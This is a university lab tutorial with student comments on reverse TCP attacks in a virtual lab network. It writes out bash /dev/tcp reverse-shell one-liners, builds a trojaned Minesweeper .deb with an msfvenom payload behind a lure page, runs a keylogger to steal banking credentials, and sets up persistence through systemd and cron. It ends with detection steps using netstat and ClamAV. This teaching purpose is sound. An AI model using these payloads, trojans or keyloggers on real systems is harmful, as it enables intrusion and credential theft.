Reverse TCP attack
Authors: Mikhail Zolotukhin and Timo Hämäläinen
1. Introduction
In this tutorial, we will get familiar with such a dangerous attack as a reverse TCP connection. A firewall usually blocks inbound ports, but does not block outgoing traffic, therefore a reverse connection can be used to bypass firewall and router security restrictions. For example, a Trojan horse running on a computer behind a firewall that blocks incoming connections can easily open an outbound connection to a remote host on the Internet. Once the connection is established, the remote host can send commands to the Trojan horse. Trojan horses that use a reverse connection usually send TCP SYN packets to the attacker’s IP address. The attacker listens for these SYN packets and accepts the desired connections.
In this tutorial, it is shown how to establish reverse TCP connection between a client and the attacker with Kali Linux installed on it. The remainder of this tutorial is organized as follows. Several preliminary tasks are presented in Section 2. The reverse connection attacks against an Ubuntu user are described in Sections 3 and 4. Simple security issues related to these attacks are presented in Section 5. Assignments are listed in Section 6. Section 7 concludes the tutorial.
This tutorial (including assignments) takes on average 7.14 hours to complete.
2. Preliminary questions
- What is metasploit and for what is it used?
- What is reverse shell? What is the difference between reverse and bind shell?
- How can an attacker make a victim execute a malicious file on the victim's machine to open a reverse shell?
- Read article "How to detect reverse_https backdoors". What simple indicators can be used to detect Metasploit's reverse https meterpreter sessions?
3. Reverse shell with Netcat
Before we start using Metasploit, let's first experiment with bash and netcat.
- Run following machines: gateway, webserv, bob the client and kali the attacker.
Login to kali-VM and check what is the IP address with the help of the following command:
$ ifconfig
It should be 192.168.12.2.
Netcat is a network utility for reading from and writing to network connections. To start listening on port 443 using netcat, run on kali-VM:
$ nc -lvnp 443 -s 192.168.12.2
In this tutorial, we will be using Bob as the victim. On bob-VM, open terminal and execute the following command to establish the reverse shell:
$ /bin/bash -l > /dev/tcp/192.168.12.2/443 0<&1 2>&1 &
Go back to the attacker. If you have done everything correct, you will see a new connection established with its netcat listener. In fact, you should now have access to bob-VM via the reverse shell. To confirm this, just type in the attacker's terminal where netcat is listening:
$ whoami
You will see that you are actually "bob". You can for example list Bob's files:
$ ls
or read some documents, e.g.:
$ cat ca_ties327.pem
There are many ways of how to establish a reverse shell connection. Another example would be:
$ 0<&196;exec 196<>/dev/tcp/192.168.12.2/443; sh <&196 >&196 2>&196 &
To get comfortable with the shell, play a bit with these commands before moving forward. When you are ready, just press "Ctrl+C" in the kali-VM's terminal to close the reverse connection.
It would be nice to know more about the syntax of these commands..like what does <&196> and other options mean?
—apparently it is a randomly chosen file id, can be any number, try it
—4. Reverse shell with Metasploit
In the previous example, we had to execute a command in the victim's terminal to establish a reverse connection. In practice, a malicious payload often comes in the form of an email attachment or with a software from a suspicious source. In this part of the tutorial, we will use Metasploit to generate a payload and then employ our mad social engineering skills to make the victim run it.
Let's start by downloading Freesweep on kali-VM. Freesweep is a text-based version of popular game Minesweeper:
$ sudo apt install freesweep --download-only
Create directory "evilapp" in /tmp/:
$ mkdir /tmp/evilapp
check the name of the Freesweep package you downloaded:
$ ls /var/cache/apt/archives/freesweep_*
In my case, it was "/var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb", but by the moment you complete this tutorial, the freesweeper's version may change (or if you have 32-bit Kali), the freesweep package may have different name.
Move the freesweep package to our "evilapp" directory
$ sudo mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb /tmp/evilapp
Extract the package to a working directory "freesweep":
$ dpkg -x /tmp/evilapp/freesweep_1.0.2-1_amd64.deb /tmp/evilapp/freesweep
Create a DEBIAN directory to hold our additional added "features":
$ mkdir /tmp/evilapp/freesweep/DEBIAN
Create file "control":
$ nano /tmp/evilapp/freesweep/DEBIAN/control
and put there following lines:
Package: freesweep Version: 1.0.2-1 Section: Games Priority: optional Architecture: amd64 Maintainer: Ubuntu MOTU Developers Description: a text-based minesweeper
We also need to create a post-installation script that will execute our malicious binary. Create file "postinst"
$ nano /tmp/evilapp/freesweep/DEBIAN/postinst
and put there following lines (here "#" is required):
#!/bin/sh sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores &
Then run the following command to create our malicious payload (command below is one line, copy-paste carefully):
$ msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.12.2 LPORT=443 -b "\x00" -f elf -o /tmp/evilapp/freesweep/usr/games/freesweep_scores
where 192.168.12.2 is the attacker's IP address, 443 is any available port, "-a" stands for the architecture to use, "-b" - characters to avoid and "-o" - the output file.
Make the postinst script executable:
$ chmod 755 /tmp/evilapp/freesweep/DEBIAN/postinst
Now we can build our evil freesweep
$ dpkg-deb --build /tmp/evilapp/freesweep
To distribute our trojan horse, start apache2:
$ sudo systemctl start apache2
and copy the evil freesweep package to "/var/www/html/":
$ sudo cp /tmp/evilapp/freesweep.deb /var/www/html/
Remove old index.html,
$ sudo rm /var/www/html/index.html
create a new one:
$ sudo nano /var/www/html/index.html
and put there something like:
Play games in Linux console for free (this is not a virus!): <p> <a href=freesweep.deb> Minesweeper </a> </p>
We will also need two additional scripts "keylog.sh" and "keylog_reader.sh" to analyse keys pressed by the victim. Download them to "/var/www/html/" (each of the following two commands is one line, copy-paste carefully, fix the line break):
$ sudo wget -O /var/www/html/keylog.sh http://student:Ties327_2023@ users.jyu.fi/%7Emizolotu/teaching/files/keylog.sh
$ sudo wget -O /var/www/html/keylog_reader.sh http://student:Ties327_2023@ users.jyu.fi/%7Emizolotu/teaching/files/keylog_reader.sh
In order to handle TCP connection from a silly gamer, open msf console in Kali's terminal:
$ msfconsole
wait until msfconsole opens (you will see "msf >") and type following commands in this console:
use exploit/multi/handler set payload linux/x86/shell/reverse_tcp set LHOST 192.168.12.2 set LPORT 443 exploit
where 192.168.12.2 is the attacker's IP address and 443 is the port you used when created payload. Wait until the payload handler is started.
^ It's because there's a line break/space/whitespace character just after @, try erasing it from the command in tutorial and it works fine
—In order to demonstrate the attack, we will use bob-VM. Login to bob-VM, start Firefox and open in the browser:
http://192.168.12.2
Download our evil "freesweep" package.
Assuming that you downloaded the package to "/home/bob/Downloads/" as "freesweep.deb", you can install it as follows:
$ sudo dpkg -i /home/bob/Downloads/freesweep.deb
After that, if you have done everything correct, the attacker should be inside bob-VM. The post-installation script that contains our malicious payload runs after the installation and opens a shell session with kali-VM.
Go back to Kali's metasploit terminal, you will see something like "Command shell session 1 opened..." The funniest thing is the attacker has root privileges. Type
whoami
inside the session, the result should be "root".
To find out in which directory of the victim the attacker is now, run
pwd
Change directory to /tmp by typing
cd /tmp
Further in the tutorial, we assume that the attacker is in "/tmp" directory of the victim.
Sometimes the session between the attacker and the client crashes. It might happen when you try to execute wrong commands. In this case, you stop receiving any replies from the victim, e.g. when you type "pwd" it does not show anything. If this is the case, you probably have to repeat the routine: stop the msf session (CTRL+C), then go to bob-VM and try to install the evil freesweep again as shown in step 13, or just run
$ sudo /usr/games/freesweep_scores
from bob-VM.
Check the list of the bob-VM's users by typing in the open msf session (on kali-VM):
cat /etc/passwd
Look there is bob! Switch user to bob:
su bob
To make sure that you are bob, type
whoami
the result should be "bob". Becoming bob is important before you move to the next step.
Make sure that you are still in "/tmp":
pwd
the result should be "/tmp". If it is not, cd to "/tmp". Download those special scripts for key logging:
wget 192.168.12.2/keylog.sh
and
wget 192.168.12.2/keylog_reader.sh
The first script "keylog.sh" gets the xinput ID for the keyboard and dumps the xmodmap and keystrokes to the "/tmp/.xkey.log" file. Run the script:
bash /tmp/keylog.sh
When it asks for KBD ID, you have to select the correct keyboard id from the list (if you do not see any list, then you are most likely not bob, switch user to bob again, as it was shown previously). As a rule, the correct ID is the last one in the list (in my case it was id=9). Input the ID and press Enter. In case of success, you will see the message, that "... keylogger will run in background" without any warnings or errors.
Go to bob-VM. Keylogger that we have started from the msf session is currently recording all keys pressed by the victim. For example, open Firefox and browse to our bank web site:
http://192.168.11.2/accounts
Input Bob's credentials (username: "bob", password: "rita1966") and login.
Go back to the msf session in Kali. Do not press "Ctrl+C" there to close the session, just run our keylog reader:
$ bash keylog_reader.sh
If everything has been done properly, you should see Bob's credentials (basically you will see all keys pressed by the victim). If the script freezes, try to wait few seconds and try to execute it again.
- Obviously, if Bob shuts his computer down or reboots it, the msf session will be closed. However, it is definitely not a problem, if the attacker has superuser privileges.
The reverse TCP attack can be carried out in a similar manner against a Windows client. In this case, a simple exe-file can be created in Kali as follows:
$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=192.168.12.2 LPORT=443 > ExecuteMe.exe
and parameters for the msfconsole listener would be
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.12.2 set LPORT 443 exploit
If a victim runs this executable file on his computer, a reverse TCP connection will be open between the victim and the attacker. After that, the attacker can use the following commands to get information about the victim:
- screenshot - to make the screenshot of the victim's desktop
- webcam_snap - to make a picture from the victim's web camera
- keyscan_start - to start scanning what keys are pressed on the victim's keyboard
You can download a trial Windows virtual machine to test the reverse connection attack against it from Microsoft web site. However, this is not necessary to complete this tutorial's assignments.
5. Some simple security issues
One easy way to detect reverse TCP connection attack is using netstat command.
- Here we assume that the reverse TCP session created in the previous section is still open. If it is not, perform the reverse TCP attack again.
On bob-VM, we need to install net-tools to be able to run netstat:
$ sudo apt install net-tools
Netstat shows all network connections of the client. Type in the terminal:
$ sudo netstat -ntp
to see all TCP connections with IP addresses instead of domain names as well as programs that use those TCP connections.
Find the line corresponding to the reverse TCP session established (the one with program name "sh" and port 443) and copy it to a text file as we will need it for the assignment.
If the Internet connection is closed down and an application still tries to connect to remote hosts it may be infected with malware. Taking this into account, disable interface enp0s3 on bob-VM:
$ sudo ip link set enp0s3 down
Start watching TCP connections:
$ watch sudo netstat -tnp
For some reason, the connection to the attacker remains "ESTABLISHED". Again copy the line corresponding to the attack to the text file.
Find this program in the list and check what process identification number (PID) it has. Press Ctrl+C to stop watching.
To find program related to the application, substitute <PID> in the commands below with the real PID of your malicious process:
$ sudo lsof -p <PID>
and stop it with
$ sudo kill -9 <PID>
Check with netstat that it has been actually killed:
$ sudo netstat -tnp
If another connection to the attacker appears, kill it as well. You will require to kill it several times.
Once you have killed every single one of them, you will notice that there is no PID associated with the connection anymore when running "netstat -ntp". Copy this line to the text file as well.
Finally, enable the network connection again:
$ sudo ip link set enp0s3 up
Please double-check that you have the Internet connection on bob-VM after that, e.g. by pinging some external host.
Another option is to use special software for intrusion and malware detection. For example, you can try to install and run Root Hunter, Chkrootkit, Clam AV, Avast, Comodo, etc. Let's try our luck with Clam AV:
$ sudo apt install clamav clamav-daemon
Once the installation is completed, stop service "clamav-freshclam":
$ sudo systemctl stop clamav-freshclam
Now you can update the virus database:
$ sudo freshclam
Start the anti-virus process again:
$ sudo systemctl start clamav-freshclam
Finally, try to scan the installation package you got from the attacker:
$ clamscan /home/bob/Downloads/freesweep.deb
and the file with actual malicious payload:
$ clamscan /usr/games/freesweep_scores
For some magical reason (if anyone can explain, please add a comment on the side), file "/usr/games/freesweep_scores" may disappear as a result of some of the previous commands. If this is the case, i.e. when you try to scan this file, there is an error that there is "No such file or directory", then simply run the "dpkg" command again to reinstall Freesweep on bob-VM:
$ sudo dpkg -i /home/bob/Downloads/freesweep.deb
After that, file "freesweep_scores" should be in directory "/usr/games" and you will be able to run the previous "clamscan" command against it.
Does Clam AV classify any of these files as a virus? Copy both scan results to a text file as you will need them for the assignment.
You can also perform the scan using an online engine, e.g. VirusTotal. In the bob-VM's browser, go to
https://www.virustotal.com
and test both of the files: "freesweep.deb" and "freesweep_scores". To be able to upload freesweep_scores you should probably first copy it to another directory to avoid permission issues, e.g. Desktop:
$ cp /usr/games/freesweep_scores Desktop/
6. Assignment (5p.)
6.1 Preliminary
Complete the tests based on the preliminary questions (1 point).
6.2 Basic
Find the lines corresponding to the network activity of our malicious "freesweep_scores" obtained with Netstat during the tutorial:
- before disabling the network interface
- after disabling the network interface
- after killing the process
Copy-paste these three lines to the answer box below. Separate the lines with an empty line. The result should look as follows:
tcp 0 0 192.168.10.102:44298 93.184.220.29:80 ESTABLISHED 2281/firefox
tcp 0 0 192.168.10.102:51300 35.201.103.21:443 ESTABLISHED 2281/firefox
tcp 0 0 192.168.10.102:51300 35.201.103.21:443 ESTABLISHED 2281/firefox
Netstat lines (0.5 points):
Copy-paste scan results obtained with Clam AV to the answer boxes below. File names should be freesweep.deb and freesweep_scores respectively. For example for freesweep.deb, the result should look as follows:
/home/bob/Downloads/freesweep.deb: STATUS
----------- SCAN SUMMARY -----------
some
text
here
For freesweep_scores, it is somewhat similar.
Clam AV scan results for file freesweep.deb (0.25 points):
Clam AV scan results for file freesweep_scores (0.25 points):
Download archive with 10 suspicious files:
$ wget http://student:Ties327_2023@users.jyu.fi/%7Emizolotu/teaching/files/
revtcp_sus_files.zip
Using the methods discussed in the tutorial, classify the files into one of the following categories: "not executable", "executable but benign" or "executable and malicious". All malicious executable files in the archive are created with msfvenom using the same parameters as in the tutorial, i.e. platform is Linux, payload - reverse_tcp, host - 192.168.12.2, and port - 443. This basicaly means that you can test these files by running them on bob-VM while listening for a session to open in msf on kali-VM.
To turn executable bit on for a file, use command:
$ chmod +x <file name>
Remember that some files in the archive are non-executable, you can read what is the difference between executable and non-executable files for example here.
Suspicious file classification (1 point):
The answer limit struck again. Trying to understand what the definiton "non-executable" meant here was off putting and I had to waste both tries with testing the idea. I'd get the full points on my third try since I guess I understood what was being sought here.
—A better definition for what is wanted here is necessary. "Executable" can be understood as any of "having the x bit", "can be executed via some program" or "ELF binary" or some combination of those, for example non-x-bit malicious ELFs could be benign or not depending on the definition. I don't understand what would have been correct to assume here.
—6.3 Advanced
As mentioned in the tutorial, since the attacker has superuser rights on the infected system, there is no problem for her to make malicious file "/usr/games/freesweep_scores" automatically run every time when bob-VM starts up. There are multiple ways to complete this task. In this assignment, we try two following simple methods: creating a systemd unit and adding a cron task.
To implement the first method, find information in the Internet how to create systemd units in the version of Ubuntu used in the tutorial. Create a unit file on bob-VM with the following properties:
- it should consist of 3 sections with one setting (line) in each, i.e. 6 lines in total
- it should execute our malicious file /usr/games/freesweep_scores
- it should be wanted by multi-user.target
You can verify that the file formatting is in order as follows:
$ systemd-analyze verify <your_service_name>
After that, in case there are no problems with the unit file created, copy it to "/etc/systemd/system/" directory:
$ sudo cp <your_service_name> /etc/systemd/system/
What command should be used to reload systemd with this new service unit file just created? What command should be used to enable the service with systemd so that it starts the script on boot?
You can test that everything is working as expected by first starting a listener in the msf console on kali-VM as it has been done in the tutorial and after that restarting bob-VM. As a result, a new command shell session should open in msf. In the case of success, upload the systemd unit file and enter the commands required to activate it into the corresponding answer boxes below.
Systemd unit file (0.5 points):
The script here was a bit harsh: it punished for extra lines; fixed it; updated instructions; resubmit your answers if you do not have full points and your unit file has more than 6 lines of text
—The command to reload systemd with the new unit (0.25 points):
The command to enable the service with systemd (0.25 points):
As mentioned above, another simple method to achieve the goal is by using crontab. It first however makes sense to deactivate the service unit created earlier in systemd so that it does not interfere with the crontab jobs. Thus, disable the systemd unit created above.
Speaking of the crontab, it is worth noticing that in the case the attacker uses an msf shell session she will have difficulties with editing crontab files directly due to shell properties (you can experiment yourself). For this reason, we will act as follows:
First, save Bob's crontab to temporary file "bobs_cron":
$ ... > bobs_cron
Next, edit this file by appending the instruction to run our malicious file "/usr/games/freesweep_scores" on reboot:
$ echo ... >> bobs_cron
Finally, feed the file with new instructions to crontab:
$ ... bobs_cron
In this part, shouldn't this be bobs_cron instead of bob_cron?
Finally, feed the file with new instructions to crontab:
$ ... bob_cron
— Find information about how to perform the aforementioned actions with crontab and complete the commands above by editing "..." parts. Test the commands using the network environment, i.e. once bob-VM has been rebooted a new shell session should start in the msf console on kali-VM. After that, enter all the complete commands to the corresponding answer boxes below.
The command to disable the service with systemd (0.25 points):
it should of course, thanks; fixed
—The command to put Bob's crontab into a temporary file (0.25 points):
The command to append the instruction to run our malicious file on reboot (0.25 points):
What am I doing wrong? EDIT: Seems that I didn't read the instructions on filenames! EDIT: Nope still doesn't work.
—The command to add tasks from the temporary file to Bob's crontab (0.25 points):
6.4 General comments and feedback
Let us know how many hours in total have you spent on this assignment:
On a scale from 1 to 10, estimate how interesting and difficult was the tutorial:
You can also give us some general feedback:
7. Conclusion
In this tutorial, it was shown how to perform a reverse TCP attack as well as some simple techniques how this attack may be detected were proposed.
More information on the topic can be found at:
These are the current permissions for this document; please modify if needed. You can always modify these permissions from the manage page.
8. Comments